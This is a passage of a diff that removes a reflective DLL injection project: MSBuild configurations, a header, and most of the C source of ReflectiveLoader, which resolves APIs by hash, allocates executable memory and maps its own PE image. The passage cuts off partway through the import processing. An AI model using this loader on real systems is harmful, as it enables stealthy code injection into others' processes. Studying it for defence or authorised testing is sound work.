||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<TargetMachine>MachineX86</TargetMachine>
|
|
||||||
</Link>
|
|
||||||
<PostBuildEvent>
|
|
||||||
<Command>
|
|
||||||
</Command>
|
|
||||||
</PostBuildEvent>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MinSpace</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader>
|
|
||||||
</PrecompiledHeader>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
|
||||||
<CompileAs>Default</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
|
||||||
</Link>
|
|
||||||
<PostBuildEvent>
|
|
||||||
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
|
|
||||||
</PostBuildEvent>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
||||||
<Midl>
|
|
||||||
<TargetEnvironment>X64</TargetEnvironment>
|
|
||||||
</Midl>
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>MaxSpeed</Optimization>
|
|
||||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
||||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
|
||||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
<CompileAs>CompileAsCpp</CompileAs>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<OptimizeReferences>true</OptimizeReferences>
|
|
||||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
||||||
<TargetMachine>MachineX64</TargetMachine>
|
|
||||||
</Link>
|
|
||||||
<PostBuildEvent>
|
|
||||||
<Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command>
|
|
||||||
</PostBuildEvent>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="src\ReflectiveDll.c" />
|
|
||||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="src\ComplexPath.h" />
|
|
||||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
|
||||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
||||||
<ImportGroup Label="ExtensionTargets">
|
|
||||||
</ImportGroup>
|
|
||||||
</Project>
|
|
||||||
|
|
@ -1,32 +0,0 @@
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup>
|
|
||||||
<Filter Include="Source Files">
|
|
||||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
|
||||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
|
||||||
</Filter>
|
|
||||||
<Filter Include="Header Files">
|
|
||||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
|
||||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
|
||||||
</Filter>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClCompile Include="src\ReflectiveDll.c">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="src\ReflectiveLoader.c">
|
|
||||||
<Filter>Source Files</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="src\ReflectiveLoader.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="src\ComplexPath.h">
|
|
||||||
<Filter>Header Files</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
</ItemGroup>
|
|
||||||
</Project>
|
|
||||||
|
|
@ -1,51 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
|
||||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#define WIN32_LEAN_AND_MEAN
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// we declare some common stuff in here...
|
|
||||||
|
|
||||||
#define DLL_QUERY_HMODULE 6
|
|
||||||
|
|
||||||
#define DEREF( name )*(UINT_PTR *)(name)
|
|
||||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
|
||||||
#define DEREF_32( name )*(DWORD *)(name)
|
|
||||||
#define DEREF_16( name )*(WORD *)(name)
|
|
||||||
#define DEREF_8( name )*(BYTE *)(name)
|
|
||||||
|
|
||||||
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
|
|
||||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
|
||||||
|
|
||||||
#define DLLEXPORT __declspec( dllexport )
|
|
||||||
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,496 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#include "ReflectiveLoader.h"
|
|
||||||
//===============================================================================================//
|
|
||||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
|
||||||
HINSTANCE hAppInstance = NULL;
|
|
||||||
//===============================================================================================//
|
|
||||||
#pragma intrinsic( _ReturnAddress )
|
|
||||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
|
||||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
|
||||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
|
||||||
// available (and no inline asm available under x64).
|
|
||||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
||||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
|
||||||
// otherwise the DllMain at the end of this file will be used.
|
|
||||||
|
|
||||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
|
||||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
|
||||||
|
|
||||||
// This is our position independent reflective DLL loader/injector
|
|
||||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
||||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
|
||||||
#else
|
|
||||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
|
||||||
#endif
|
|
||||||
{
|
|
||||||
// the functions we need
|
|
||||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
|
||||||
GETPROCADDRESS pGetProcAddress = NULL;
|
|
||||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
|
||||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
|
||||||
|
|
||||||
USHORT usCounter;
|
|
||||||
|
|
||||||
// the initial location of this image in memory
|
|
||||||
ULONG_PTR uiLibraryAddress;
|
|
||||||
// the kernels base address and later this images newly loaded base address
|
|
||||||
ULONG_PTR uiBaseAddress;
|
|
||||||
|
|
||||||
// variables for processing the kernels export table
|
|
||||||
ULONG_PTR uiAddressArray;
|
|
||||||
ULONG_PTR uiNameArray;
|
|
||||||
ULONG_PTR uiExportDir;
|
|
||||||
ULONG_PTR uiNameOrdinals;
|
|
||||||
DWORD dwHashValue;
|
|
||||||
|
|
||||||
// variables for loading this image
|
|
||||||
ULONG_PTR uiHeaderValue;
|
|
||||||
ULONG_PTR uiValueA;
|
|
||||||
ULONG_PTR uiValueB;
|
|
||||||
ULONG_PTR uiValueC;
|
|
||||||
ULONG_PTR uiValueD;
|
|
||||||
ULONG_PTR uiValueE;
|
|
||||||
|
|
||||||
// STEP 0: calculate our images current base address
|
|
||||||
|
|
||||||
// we will start searching backwards from our callers return address.
|
|
||||||
uiLibraryAddress = caller();
|
|
||||||
|
|
||||||
// loop through memory backwards searching for our images base address
|
|
||||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
|
||||||
while( TRUE )
|
|
||||||
{
|
|
||||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
|
||||||
{
|
|
||||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
|
||||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
|
||||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
|
||||||
{
|
|
||||||
uiHeaderValue += uiLibraryAddress;
|
|
||||||
// break if we have found a valid MZ/PE header
|
|
||||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
uiLibraryAddress--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
|
||||||
|
|
||||||
// get the Process Enviroment Block
|
|
||||||
#ifdef WIN_X64
|
|
||||||
uiBaseAddress = __readgsqword( 0x60 );
|
|
||||||
#else
|
|
||||||
#ifdef WIN_X86
|
|
||||||
uiBaseAddress = __readfsdword( 0x30 );
|
|
||||||
#else WIN_ARM
|
|
||||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
|
||||||
#endif
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
|
||||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
|
||||||
|
|
||||||
// get the first entry of the InMemoryOrder module list
|
|
||||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
|
||||||
while( uiValueA )
|
|
||||||
{
|
|
||||||
// get pointer to current modules name (unicode string)
|
|
||||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
|
||||||
// set bCounter to the length for the loop
|
|
||||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
|
||||||
// clear uiValueC which will store the hash of the module name
|
|
||||||
uiValueC = 0;
|
|
||||||
|
|
||||||
// compute the hash of the module name...
|
|
||||||
do
|
|
||||||
{
|
|
||||||
uiValueC = ror( (DWORD)uiValueC );
|
|
||||||
// normalize to uppercase if the madule name is in lowercase
|
|
||||||
if( *((BYTE *)uiValueB) >= 'a' )
|
|
||||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
|
||||||
else
|
|
||||||
uiValueC += *((BYTE *)uiValueB);
|
|
||||||
uiValueB++;
|
|
||||||
} while( --usCounter );
|
|
||||||
|
|
||||||
// compare the hash with that of kernel32.dll
|
|
||||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
|
||||||
{
|
|
||||||
// get this modules base address
|
|
||||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
|
||||||
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
|
||||||
|
|
||||||
// get the VA for the array of name pointers
|
|
||||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
|
||||||
|
|
||||||
// get the VA for the array of name ordinals
|
|
||||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
|
||||||
|
|
||||||
usCounter = 3;
|
|
||||||
|
|
||||||
// loop while we still have imports to find
|
|
||||||
while( usCounter > 0 )
|
|
||||||
{
|
|
||||||
// compute the hash values for this function name
|
|
||||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
|
||||||
|
|
||||||
// if we have found a function we want we get its virtual address
|
|
||||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
|
||||||
{
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
|
||||||
|
|
||||||
// use this functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// store this functions VA
|
|
||||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
|
||||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
|
||||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
|
||||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
|
|
||||||
// decrement our counter
|
|
||||||
usCounter--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
|
||||||
{
|
|
||||||
// get this modules base address
|
|
||||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
|
||||||
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
|
||||||
|
|
||||||
// get the VA for the array of name pointers
|
|
||||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
|
||||||
|
|
||||||
// get the VA for the array of name ordinals
|
|
||||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
|
||||||
|
|
||||||
usCounter = 1;
|
|
||||||
|
|
||||||
// loop while we still have imports to find
|
|
||||||
while( usCounter > 0 )
|
|
||||||
{
|
|
||||||
// compute the hash values for this function name
|
|
||||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
|
||||||
|
|
||||||
// if we have found a function we want we get its virtual address
|
|
||||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
|
||||||
{
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
|
||||||
|
|
||||||
// use this functions name ordinal as an index into the array of name pointers
|
|
||||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// store this functions VA
|
|
||||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
|
||||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
|
||||||
|
|
||||||
// decrement our counter
|
|
||||||
usCounter--;
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next exported function name
|
|
||||||
uiNameArray += sizeof(DWORD);
|
|
||||||
|
|
||||||
// get the next exported function name ordinal
|
|
||||||
uiNameOrdinals += sizeof(WORD);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// we stop searching when we have found everything we need.
|
|
||||||
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
|
|
||||||
break;
|
|
||||||
|
|
||||||
// get the next entry
|
|
||||||
uiValueA = DEREF( uiValueA );
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 2: load our image into a new permanent location in memory...
|
|
||||||
|
|
||||||
// get the VA of the NT Header for the PE to be loaded
|
|
||||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
|
|
||||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
|
||||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
|
||||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
|
|
||||||
// we must now copy over the headers
|
|
||||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
|
||||||
uiValueB = uiLibraryAddress;
|
|
||||||
uiValueC = uiBaseAddress;
|
|
||||||
|
|
||||||
while( uiValueA-- )
|
|
||||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
|
||||||
|
|
||||||
// STEP 3: load in all of our sections...
|
|
||||||
|
|
||||||
// uiValueA = the VA of the first section
|
|
||||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
|
||||||
|
|
||||||
// itterate through all sections, loading them into memory.
|
|
||||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
|
||||||
while( uiValueE-- )
|
|
||||||
{
|
|
||||||
// uiValueB is the VA for this section
|
|
||||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
|
||||||
|
|
||||||
// uiValueC if the VA for this sections data
|
|
||||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
|
||||||
|
|
||||||
// copy the section over
|
|
||||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
|
||||||
|
|
||||||
while( uiValueD-- )
|
|
||||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
|
||||||
|
|
||||||
// get the VA of the next section
|
|
||||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 4: process our images import table...
|
|
||||||
|
|
||||||
// uiValueB = the address of the import directory
|
|
||||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
|
||||||
|
|
||||||
// we assume their is an import table to process
|
|
||||||
// uiValueC is the first entry in the import table
|
|
||||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
|
||||||
|
|
||||||
// itterate through all imports
|
|
||||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
|
||||||
{
|
|
||||||
// use LoadLibraryA to load the imported module into memory
|
|
||||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
|
||||||
|
|
||||||
// uiValueD = VA of the OriginalFirstThunk
|
|
||||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
|
||||||
|
|
||||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
|
||||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
|
||||||
|
|
||||||
// itterate through all imported functions, importing by ordinal if no name present
|
|
||||||
while( DEREF(uiValueA) )
|
|
||||||
{
|
|
||||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
|
||||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
|
||||||
{
|
|
||||||
// get the VA of the modules NT Header
|
|
||||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
|
||||||
